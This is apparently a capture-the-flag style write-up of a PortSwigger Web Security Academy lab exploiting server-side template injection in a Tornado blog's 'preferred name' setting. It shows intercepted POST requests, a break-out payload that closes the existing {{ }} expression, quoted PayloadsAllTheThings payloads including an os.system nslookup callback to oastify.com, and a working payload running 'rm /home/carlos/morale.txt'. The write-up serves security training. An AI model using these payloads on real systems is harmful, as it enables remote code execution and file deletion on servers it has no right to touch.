Skip to content
Field Details
Platform PortSwigger Web Security Academy
Type Server-Side Template Injection (Tornado, Code Context)
Difficulty Practitioner
Objective Review the Tornado documentation to discover how to execute arbitrary code, then delete morale.txt from Carlos's home directory

Basic Server-Side Template Injection (Code Context)

Log in with wiener:peter.

Screenshot

There's a "preferred name" functionality. Making a comment on a post with the default setting shows:

Peter Wiener | 13 June 2026

teto
Screenshot

Changing the preferred name setting to "first name" updates the comment to:

Peter | 13 June 2026

teto

and to "nickname" gives:

H0td0g | 13 June 2026

teto

Intercepting the preferred name change request:

POST /my-account/change-blog-post-author-display HTTP/2

blog-post-author-display=user.first_name&csrf=FCO3f5Ae4cEquqMscC1vrx5RkY2i4ctW

user.first_name looks like a template expression being used directly to populate the comment author display — worth poking at.

Messing with the value:

POST /my-account/change-blog-post-author-display HTTP/2

blog-post-author-display=user.first_nameteto&csrf=FCO3f5Ae4cEquqMscC1vrx5RkY2i4ctW
Screenshot

Reloading the comment post gives an internal server error:

Internal Server Error

Traceback (most recent call last): File "<string>", line 16, in <module> File "/usr/local/lib/python2.7/dist-packages/tornado/template.py", line 348, in generate return execute() File "<string>.generated.py", line 4, in _tt_execute AttributeError: User instance has no attribute 'first_nameteto'
Screenshot

That traceback names Tornado directly, so no guessing needed. The error also tells us something useful: our input is being concatenated directly into an existing {{ }} expression, not passed in as a clean variable.

From PayloadsAllTheThings:

Tornado - Basic Injection

{{7*7}}
{{7*'7'}}

Tornado - Remote Command Execution

{{os.system('whoami')}}
{%import os%}{{os.system('nslookup oastify.com')}}

Trying:

POST /my-account/change-blog-post-author-display HTTP/2

blog-post-author-display={{7*7}}&csrf=FCO3f5Ae4cEquqMscC1vrx5RkY2i4ctW
Screenshot
Screenshot

The output shows {{49}} — the braces are still there because we replaced the whole expression instead of breaking out of the existing one. The original value is user.first_name, already wrapped in {{ }} by the template, so we need to close that pair first and open our own:

POST /my-account/change-blog-post-author-display HTTP/2

blog-post-author-display=user.first_name}}{{7*7

This gives peter49.

Screenshot

Following the same path as the ERB lab, the objective is to delete /home/carlos/morale.txt. Using the RCE payload from PayloadsAllTheThings with the same close-and-reopen technique:

POST /my-account/change-blog-post-author-display HTTP/2

blog-post-author-display=user.first_name}}{%import os%}{{os.system('rm /home/carlos/morale.txt')&csrf=FCO3f5Ae4cEquqMscC1vrx5RkY2i4ctW

The trailing }} from the original template closes our injected expression for us, so we don't need to add it ourselves.

Screenshot

This deletes the file and solves the lab

Screenshot

x.x

Resources